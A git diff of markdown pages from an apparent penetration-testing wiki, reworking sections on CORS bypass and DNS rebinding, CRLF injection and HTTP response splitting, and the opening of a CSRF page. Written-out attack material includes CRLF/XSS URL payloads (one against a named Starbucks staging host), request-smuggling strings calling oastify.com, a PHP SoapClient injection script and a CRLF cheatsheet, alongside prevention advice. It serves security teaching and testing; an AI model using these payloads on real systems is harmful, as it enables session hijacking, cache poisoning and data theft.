@ -307,20 +297,11 @@ Try to add a **`callback`** **parameter** in the request. Maybe the page was pre
|
|||
|
||||
### Easy (useless?) bypass
|
||||
|
||||
You can ask a web-application to make a request for you and send back the response. This will bypass the **`Access-Control-Allow-Origin`** but notice that the **credentials to the final victim won't be sent** as you will be **contacting a different domain** (the one that will make the request for you).
|
||||
One way to bypass the `Access-Control-Allow-Origin` restriction is by requesting a web application to make a request on your behalf and send back the response. However, in this scenario, the credentials of the final victim won't be sent as the request is made to a different domain.
|
||||
|
||||
[**CORS-escape**](https://github.com/shalvah/cors-escape)
|
||||
|
||||
CORS-escape provides a **proxy** that **passes** on our **request** along with its **headers**, and it also **spoofs** the **Origin** header (Origin = **requested domain**). So the **CORS policy is bypassed**.\
|
||||
The source code is [on Github](https://github.com/shalvah/cors-escape), so you can **host your own**.
|
||||
|
||||
```javascript
|
||||
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
|
||||
```
|
||||
|
||||
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
|
||||
|
||||
Proxying is kinda like “passing on" your request, exactly as you sent it. We could solve this in an alternative way that still involves someone else making the request for you, but this time, **instead of using passing on your request, the server makes its own request, but with whatever parameters you specified.**
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): This tool provides a proxy that forwards your request along with its headers, while also spoofing the Origin header to match the requested domain. This effectively bypasses the CORS policy. Here's an example usage with XMLHttpRequest:
|
||||
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): This tool offers an alternative approach to proxying requests. Instead of passing on your request as-is, the server makes its own request with the specified parameters.
|
||||
|
||||
### Iframe + Popup Bypass
|
||||
|
||||
|
@ -332,46 +313,46 @@ You can **bypass CORS checks** such as `e.origin === window.origin` by **creatin
|
|||
|
||||
### DNS Rebinding via TTL
|
||||
|
||||
![](<../.gitbook/assets/image (108).png>)
|
||||
DNS rebinding via TTL is a technique used to bypass certain security measures by manipulating DNS records. Here's how it works:
|
||||
|
||||
Basically you make the **victim access your page**, then you change the **DNS of your domain (the IP)** and make it **points** to your **victims web page**. You make your **victim execute** (**JS**) something when the **TTL is** **over** so a new DNS request will be made and then you will be able to gather the information (as you will always maintains **the user in your domain**, he won't send **any cookie** to the victim server, so this options **abuses the special privileges of the IP of the victim**).
|
||||
1. The attacker creates a web page and makes the victim access it.
|
||||
2. The attacker then changes the DNS (IP) of their own domain to point to the victim's web page.
|
||||
3. The victim's browser caches the DNS response, which may have a TTL (Time to Live) value indicating how long the DNS record should be considered valid.
|
||||
4. When the TTL expires, the victim's browser makes a new DNS request, allowing the attacker to execute JavaScript code on the victim's page.
|
||||
5. By maintaining control over the IP of the victim, the attacker can gather information from the victim without sending any cookies to the victim server.
|
||||
|
||||
Even if you set the **TTL very low** (0 or 1) **browsers have a cache** that will **prevent** you from **abusing** this for several seconds/minuted.
|
||||
It's important to note that browsers have caching mechanisms that may prevent immediate abuse of this technique, even with low TTL values.
|
||||
|
||||
So, this technique is useful to **bypass explicit checks** (the victim is **explicitly performing a DNS request** to check the IP of the domain and when the bot is called he will do his own).
|
||||
DNS rebinding can be useful for bypassing explicit IP checks performed by the victim or for scenarios where a user or bot remains on the same page for an extended period, allowing the cache to expire.
|
||||
|
||||
Or when you can have a **user/bot in the same page for a long time** (so you can **wait** until the **cache expires**).
|
||||
If you need a quick way to abuse DNS rebinding, you can use services like [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
If you need something quick to abuse this you can use a service like [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
To run your own DNS rebinding server, you can utilize tools like **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). This involves exposing your local port 53/udp, creating an A record pointing to it (e.g., ns.example.com), and creating an NS record pointing to the previously created A subdomain (e.g., ns.example.com). Any subdomain of the ns.example.com subdomain will then be resolved by your host.
|
||||
|
||||
If you want to run your own DNS rebinding server you can use something like [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** then **expose** your **local port 53/udp**, create an **A registry pointing to it** (ns.example.com), and create a **NS registry** pointing to the **previously created A subdomain**(ns.example.com).\
|
||||
Then, any subdomain of that subdomain (ns.example.com), will be resolved by your host.
|
||||
|
||||
Check out also the **publicly running server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
You can also explore a publicly running server at [http://rebind.it/singularity.html](http://rebind.it/singularity.html) for further understanding and experimentation.
|
||||
|
||||
### DNS Rebinding via **DNS Cache Flooding**
|
||||
|
||||
As it was explained in the previous section, **browsers** have the IPs of domains **cached more time** than the one specified in the TTL. However, there is a way to bypass this defence.
|
||||
DNS rebinding via DNS cache flooding is another technique used to bypass the caching mechanism of browsers and force a second DNS request. Here's how it works:
|
||||
|
||||
You can have a service worker that will **flood the DNS cache to force a second DNS request**. SO the flow will be like:
|
||||
1. Initially, when the victim makes a DNS request, it is responded with the attacker's IP address.
|
||||
2. To bypass the caching defense, the attacker leverages a service worker. The service worker floods the DNS cache, which effectively deletes the cached attacker server name.
|
||||
3. When the victim's browser makes a second DNS request, it is now responded with the IP address 127.0.0.1, which typically refers to the localhost.
|
||||
|
||||
1. DNS request responded with attacker address
|
||||
2. Service worker floods DNS cache (the cached attacker server name is deleted)
|
||||
3. Second DNS request this time responded with 127.0.0.1
|
||||
|
||||
![](<../.gitbook/assets/image (375) (1).png>)
|
||||
|
||||
_Blue is the first DNS request and orange is the flood._
|
||||
By flooding the DNS cache with the service worker, the attacker can manipulate the DNS resolution process and force the victim's browser to make a second request, this time resolving to the attacker's desired IP address.
|
||||
|
||||
### DNS Rebinding via **Cache**
|
||||
|
||||
As it was explained in the previous section, **browsers** have the IPs of domains **cached more time** than the one specified in the TTL. However, there is another way to bypass this defence.
|
||||
Another way to bypass the caching defense is by utilizing multiple IP addresses for the same subdomain in the DNS provider. Here's how it works:
|
||||
|
||||
You can **create 2 A records** (or **1 with 2 IPs**, depending on the provider) for the **same subdomain** in the **DNS provider** and when a browser checks for them he will get both.
|
||||
1. The attacker sets up two A records (or a single A record with two IPs) for the same subdomain in the DNS provider.
|
||||
2. When a browser checks for these records, it receives both IP addresses.
|
||||
3. If the browser decides to use the attacker's IP address first, the attacker can serve a payload that performs HTTP requests to the same domain.
|
||||
4. However, once the attacker obtains the victim's IP address, they stop responding to the victim's browser.
|
||||
5. The victim's browser, upon realizing that the domain is unresponsive, moves on to use the second given IP address.
|
||||
6. By accessing the second IP address, the browser bypasses the Same Origin Policy (SOP), allowing the attacker to abuse this and gather and exfiltrate information.
|
||||
|
||||
Now, if the **browser** decides to **use** the **attacker IP address first**, the **attacker** will be able to **serve** the **payload** that will **perform HTTP requests** to the same **domain**. However, now that the attacker knows the IP of the victim, **he will stop answering the victim browser**.
|
||||
|
||||
When the browser finds that the **domain isn't responding** to him, it will **use the second given IP**, so he will **access a different place bypassing SOP**. The attacker can abuse that to **get the information and exfiltrate it**.
|
||||
This technique leverages the behavior of browsers when multiple IP addresses are provided for a domain. By strategically controlling the responses and manipulating the browser's choice of IP address, an attacker can exploit the SOP and access information from the victim.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note that in order to access localhost you should try to rebind **127.0.0.1** in Windows and **0.0.0.0** in linux.\
|
||||
|
@ -380,8 +361,6 @@ Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0, b
|
|||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
![](<../.gitbook/assets/image (620) (4).png>)
|
||||
|
||||
For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
|
||||
### Other Common Bypasses
|
||||
|
@ -413,22 +392,16 @@ You can find more information about the previous bypass techniques and how to us
|
|||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
|
||||
## References
|
||||
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
|
||||
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
|
||||
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
|
||||
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
|
||||
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
|
||||
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/cors" %}
|
||||
|
||||
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
|
||||
|
||||
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
|
||||
|
||||
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
|
||||
|
||||
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
|
||||
|
||||
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
|
||||
|
||||
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -20,79 +20,59 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## What is CRLF?
|
||||
### CRLF
|
||||
|
||||
When a browser sends a request to a web server, the web server answers back with a response containing both the HTTP response headers and the actual website content, i.e. the response body. The HTTP headers and the HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed. For short they are also known as CRLF.
|
||||
Carriage Return (CR) and Line Feed (LF), collectively known as CRLF, are special character sequences used in the HTTP protocol to denote the end of a line or the start of a new one. Web servers and browsers use CRLF to distinguish between HTTP headers and the body of a response. These characters are universally employed in HTTP/1.1 communications across various web server types, such as Apache and Microsoft IIS.
|
||||
|
||||
The web server uses the CRLF to understand when new HTTP header begins and another one ends. The CRLF can also tell a web application or user that a new line begins in a file or in a text block. The CRLF characters are a standard HTTP/1.1 message, so it is used by any type of web server, including Apache, Microsoft IIS and all others.\
|
||||
From [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
### CRLF Injection Vulnerability
|
||||
|
||||
### What is the CRLF Injection Vulnerability?
|
||||
CRLF injection involves the insertion of CR and LF characters into user-supplied input. This action misleads the server, application, or user into interpreting the injected sequence as the end of one response and the beginning of another. While these characters are not inherently harmful, their misuse can lead to HTTP response splitting and other malicious activities.
|
||||
|
||||
In a CRLF injection vulnerability attack the attacker inserts both the carriage return and linefeed characters into user input to trick the server, the web application or the user into thinking that an object is terminated and another one has started. As such the CRLF sequences are not malicious characters, however they can be used for malicious intend, for HTTP response splitting etc.
|
||||
### Example: CRLF Injection in a Log File
|
||||
|
||||
## CRLF injection in web applications
|
||||
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
In web applications a CRLF injection can have severe impacts, depending on what the application does with single items. Impacts can range from information disclosure to code execution, a direct impact web application security vulnerability. In fact a CRLF injection attack can have very serious repercussions on a web application, even though it was never listed in the OWASP Top 10 list. For example it is also possible to manipulate log files in an admin panel as explained in the below example.
|
||||
|
||||
#### An example of CRLF Injection in a log file
|
||||
|
||||
Imagine a log file in an admin panel with the output stream pattern of IP - Time - Visited Path, such as the below:
|
||||
Consider a log file in an admin panel that follows the format: `IP - Time - Visited Path`. A typical entry might look like:
|
||||
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
|
||||
If an attacker is able to inject the CRLF characters into the HTTP request he is able to change the output stream and fake the log entries. He can change the response from the webs application to something like the below:
|
||||
An attacker can exploit a CRLF injection to manipulate this log. By injecting CRLF characters into the HTTP request, the attacker can alter the output stream and fabricate log entries. For instance, an injected sequence might transform the log entry into:
|
||||
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
||||
The %0d and %0a are the url encoded forms of CR and LF. Therefore the log entries would look like this after the attacker inserted those characters and the application displays it:
|
||||
|
||||
IP - Time - Visited Path
|
||||
Here, `%0d` and `%0a` represent the URL-encoded forms of CR and LF. Post-attack, the log would misleadingly display:
|
||||
|
||||
```
|
||||
IP - Time - Visited Path
|
||||
|
||||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
||||
Therefore by exploiting a CRLF injection vulnerability the attacker can fake entries in the log file to obfuscate his own malicious actions. The attacker is literally doing page hijacking and modifying the response. For example imagine a scenario where the attacker has the admin password and executed the restrictedaction parameter, which can only be used by an admin.
|
||||
The attacker thus cloaks their malicious activities by making it appear as if the localhost (an entity typically trusted within the server environment) performed the actions. The server interprets the part of the query starting with `%0d%0a` as a single parameter, while the `restrictedaction` parameter is parsed as another, separate input. The manipulated query effectively mimics a legitimate administrative command: `/index.php?page=home&restrictedaction=edit`
|
||||
|
||||
The problem is that if the administrator notices that an unknown IP used the restrictedaction parameter, will notice that something is wrong. However, since now it looks like the command was issued by the localhost (and therefore probably by someone who has access to the server, like an admin) it does not look suspicious.
|
||||
|
||||
The whole part of the query beginning with %0d%0a will be handled by the server as one parameter. After that there is another & with the parameter restricted action which will be parsed by the server as another parameter. Effectively this would be the same query as:
|
||||
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
||||
### HTTP Response Splitting
|
||||
|
||||
#### Description
|
||||
|
||||
Since the header of a HTTP response and its body are separated by CRLF characters an attacker can try to inject those. A combination of CRLFCRLF will tell the browser that the header ends and the body begins. That means that he is now able to write data inside the response body where the html code is stored. This can lead to a Cross-site Scripting vulnerability.
|
||||
HTTP Response Splitting is a security vulnerability that arises when an attacker exploits the structure of HTTP responses. This structure separates headers from the body using a specific character sequence, Carriage Return (CR) followed by Line Feed (LF), collectively termed as CRLF. If an attacker manages to insert a CRLF sequence into a response header, they can effectively manipulate the subsequent response content. This type of manipulation can lead to severe security issues, notably Cross-site Scripting (XSS).
|
||||
|
||||
#### An example of HTTP Response Splitting leading to XSS
|
||||
#### XSS through HTTP Response Splitting
|
||||
|
||||
Imagine an application that sets a custom header, for example:
|
||||
|
||||
```
|
||||
X-Your-Name: Bob
|
||||
```
|
||||
|
||||
The value of the header is set via a get parameter called "name". If no URL encoding is in place and the value is directly reflected inside the header it might be possible for an attacker to insert the above mentioned combination of CRLFCRLF to tell the browser that the request body begins. That way he is able to insert data such as XSS payload, for example:
|
||||
|
||||
```
|
||||
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
||||
```
|
||||
|
||||
The above will display an alert window in the context of the attacked domain.
|
||||
1. The application sets a custom header like this: `X-Custom-Header: UserInput`
|
||||
2. The application fetches the value for `UserInput` from a query parameter, say "user_input". In scenarios lacking proper input validation and encoding, an attacker can craft a payload that includes the CRLF sequence, followed by malicious content.
|
||||
3. An attacker crafts a URL with a specially crafted 'user_input': `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||
- In this URL, `%0d%0a%0d%0a` is the URL-encoded form of CRLFCRLF. It tricks the server into inserting a CRLF sequence, making the server treat the subsequent part as the response body.
|
||||
4. The server reflects the attacker's input in the response header, leading to an unintended response structure where the malicious script is interpreted by the browser as part of the response body.
|
||||
|
||||
#### An example of HTTP Response Splitting leading to Redirect
|
||||
|
||||
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
|
||||
From [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
|
||||
|
||||
Browser to:
|
||||
|
||||
|
@ -114,29 +94,28 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT
|
|||
|
||||
#### In URL Path
|
||||
|
||||
You can send the payload **inside the URL path** to control the **response** from the server:
|
||||
You can send the payload **inside the URL path** to control the **response** from the server (example from [here](https://hackerone.com/reports/192667)):
|
||||
|
||||
```
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
|
||||
Check more examples in:
|
||||
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
|
||||
### HTTP Header Injection
|
||||
|
||||
#### Description
|
||||
HTTP Header Injection, often exploited through CRLF (Carriage Return and Line Feed) injection, allows attackers to insert HTTP headers. This can undermine security mechanisms such as XSS (Cross-Site Scripting) filters or the SOP (Same-Origin Policy), potentially leading to unauthorized access to sensitive data, such as CSRF tokens, or the manipulation of user sessions through cookie planting.
|
||||
|
||||
By exploiting a CRLF injection an attacker can also insert HTTP headers which could be used to defeat security mechanisms such as a browser's XSS filter or the same-origin-policy. This allows the attacker to gain sensitive information like CSRF tokens. He can also set cookies which could be exploited by logging the victim in the attacker's account or by exploiting otherwise unexploitable [cross-site scripting (XSS) vulnerabilities](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/).
|
||||
#### Exploiting CORS via HTTP Header Injection
|
||||
|
||||
#### An example of HTTP Header Injection to extract sensitive data
|
||||
An attacker can inject HTTP headers to enable CORS (Cross-Origin Resource Sharing), bypassing the restrictions imposed by SOP. This breach allows scripts from malicious origins to interact with resources from a different origin, potentially accessing protected data.
|
||||
|
||||
If an attacker is able to inject the HTTP headers that activate CORS (Cross Origin Resource Sharing), he can use javascript to access resources that are otherwise protected by SOP (Same Origin Policy) which prevents sites from different origins to access each other.
|
||||
#### SSRF and HTTP Request Injection via CRLF
|
||||
|
||||
### New HTTP request in SSRF
|
||||
|
||||
Abusing CRLF injection you can **craft a new HTTP request and inject it**.\
|
||||
A good example can be done using the `SoapClient` deserialization gadget from in PHP. This class is **vulnerable to CRLF** inside the `user_agent` parameter allowing to i**nsert new headers and body content**. However, you can even be able to abuse this vulnerability to **inject a new HTTP request:**
|
||||
CRLF injection can be utilized to craft and inject an entirely new HTTP request. A notable example of this is the vulnerability in PHP's `SoapClient` class, specifically within the `user_agent` parameter. By manipulating this parameter, an attacker can insert additional headers and body content, or even inject a new HTTP request entirely. Below is a PHP example demonstrating this exploitation:
|
||||
|
||||
```php
|
||||
$target = 'http://127.0.0.1:9090/test';
|
||||
|
@ -159,31 +138,33 @@ $client = new SoapClient(null,
|
|||
)
|
||||
);
|
||||
|
||||
#Put a nc listening in port 9090
|
||||
# Put a netcat listener on port 9090
|
||||
$client->__soapCall("test", []);
|
||||
```
|
||||
|
||||
### Header Injection to Request Smuggling
|
||||
|
||||
For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
|
||||
You can inject essential headers to ensure the **back-end keeps the connection open** after responding to the initial request:
|
||||
|
||||
```
|
||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||
```
|
||||
|
||||
Then, **specify a second request**. Here you have a **classic** [**request smuggling**](http-request-smuggling/) \*\*\*\* with **extra** **headers/body** appended by the server after the injection.\
|
||||
Here's two of the many options for cross-user exploitation.
|
||||
Afterward, a second request can be specified. This scenario typically involves [HTTP request smuggling](http-request-smuggling/), a technique where extra headers or body elements appended by the server post-injection can lead to various security exploits.
|
||||
|
||||
Specifying a **malicious prefix** to poison either the next user's request, or a web cache:
|
||||
**Exploitation:**
|
||||
|
||||
|
||||
1. **Malicious Prefix Injection**: This method involves poisoning the next user's request or a web cache by specifying a malicious prefix. An example of this is:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
Or crafting our prefix to combine with the trailing junk and create a complete second request in order to trigger **response queue poisoning**.
|
||||
2. **Crafting a Prefix for Response Queue Poisoning**: This approach involves creating a prefix that, when combined with trailing junk, forms a complete second request. This can trigger response queue poisoning. An example is:
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
For more info about this technique and potential problems [**check the original source**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||
|
||||
### Memcache Injection
|
||||
|
||||
Memcache is a **key-value store that uses a clear text protocol**. More info in:
|
||||
|
@ -192,30 +173,36 @@ Memcache is a **key-value store that uses a clear text protocol**. More info in:
|
|||
[11211-memcache](../network-services-pentesting/11211-memcache/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
If a plarform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.
|
||||
**For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
|
||||
|
||||
If a platform is taking **data from an HTTP request and using it without sanitizing** it to perform **requests** to a **memcache** server, an attacker could abuse this behaviour to **inject new memcache commands**.
|
||||
|
||||
For example, in the original discovered vuln, cache keys were used to return the IP and port a user shuold connect to, and attackers were able to **inject memcache comands** that would **poison** the **cache to send the vistims details** (usrnames and passwords included) to the attacker servers:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
Moreover, researchers also discovered that they could desync the memcache responses to send the attackers ip and ports to users whose email the attacker didn't know:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**For the full information read the**[ **original writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
|
||||
|
||||
## Impacts of the CRLF injection Vulnerability
|
||||
|
||||
The impact of CRLF injections vary and also include all the impacts of Cross-site Scripting to information disclosure. It can also deactivate certain security restrictions like XSS Filters and the Same Origin Policy in the victim's browsers, leaving them susceptible to malicious attacks.
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
|
||||
|
||||
### How to Prevent CRLF / HTTP Header Injections in Web Applications
|
||||
|
||||
The best prevention technique is to not use users input directly inside response headers. If that is not possible, you should always use a function to encode the CRLF special characters. Another good web application security best practise is to update your programming language to a version that does not allow CR and LF to be injected inside functions that set HTTP headers.
|
||||
To mitigate the risks of CRLF (Carriage Return and Line Feed) or HTTP Header Injections in web applications, the following strategies are recommended:
|
||||
|
||||
1. **Avoid Direct User Input in Response Headers:**
|
||||
The safest approach is to refrain from incorporating user-supplied input directly into response headers.
|
||||
|
||||
2. **Encode Special Characters:**
|
||||
If avoiding direct user input is not feasible, ensure to employ a function dedicated to encoding special characters like CR (Carriage Return) and LF (Line Feed). This practice prevents the possibility of CRLF injection.
|
||||
|
||||
3. **Update Programming Language:**
|
||||
Regularly update the programming language used in your web applications to the latest version. Opt for a version that inherently disallows the injection of CR and LF characters within functions tasked with setting HTTP headers.
|
||||
|
||||
|
||||
### CHEATSHEET
|
||||
|
||||
[Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777)
|
||||
|
||||
```
|
||||
1. HTTP Response Splitting
|
||||
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
|
||||
|
@ -248,9 +235,10 @@ The best prevention technique is to not use users input directly inside response
|
|||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
|
||||
|
||||
## References
|
||||
|
||||
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
|
||||
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
|
||||
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
|
||||
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
|
|
|
@ -29,32 +29,31 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## What is CSRF?
|
||||
|
||||
**Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.\
|
||||
This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**.
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
### Requisites
|
||||
**Cross-Site Request Forgery (CSRF)** is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images.
|
||||
|
||||
In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** (change password or email, make the victim follow you on a social network, give you more privileges...). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request.
|
||||
### Prerequisites for a CSRF Attack
|
||||
To exploit a CSRF vulnerability, several conditions must be met:
|
||||
|
||||
Several **counter-measures** could be in place to avoid this vulnerability.
|
||||
1. **Identify a Valuable Action**: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges.
|
||||
2. **Session Management**: The user's session should be managed solely through cookies or the HTTP Basic Authentication header, as other headers cannot be manipulated for this purpose.
|
||||
3. **Absence of Unpredictable Parameters**: The request should not contain unpredictable parameters, as they can prevent the attack.
|
||||
|
||||
### **Common defenses**
|
||||
### Defending Against CSRF
|
||||
Several countermeasures can be implemented to protect against CSRF attacks:
|
||||
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._
|
||||
* Ask for the **password** user to authorise the action.
|
||||
* Resolve a **captcha**
|
||||
* Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with:
|
||||
* http://mal.net?orig=http://example.com (ends with the url)
|
||||
* http://example.com.mal.net (starts with the url)
|
||||
* **Modify** the **name** of the **parameters** of the Post or Get request
|
||||
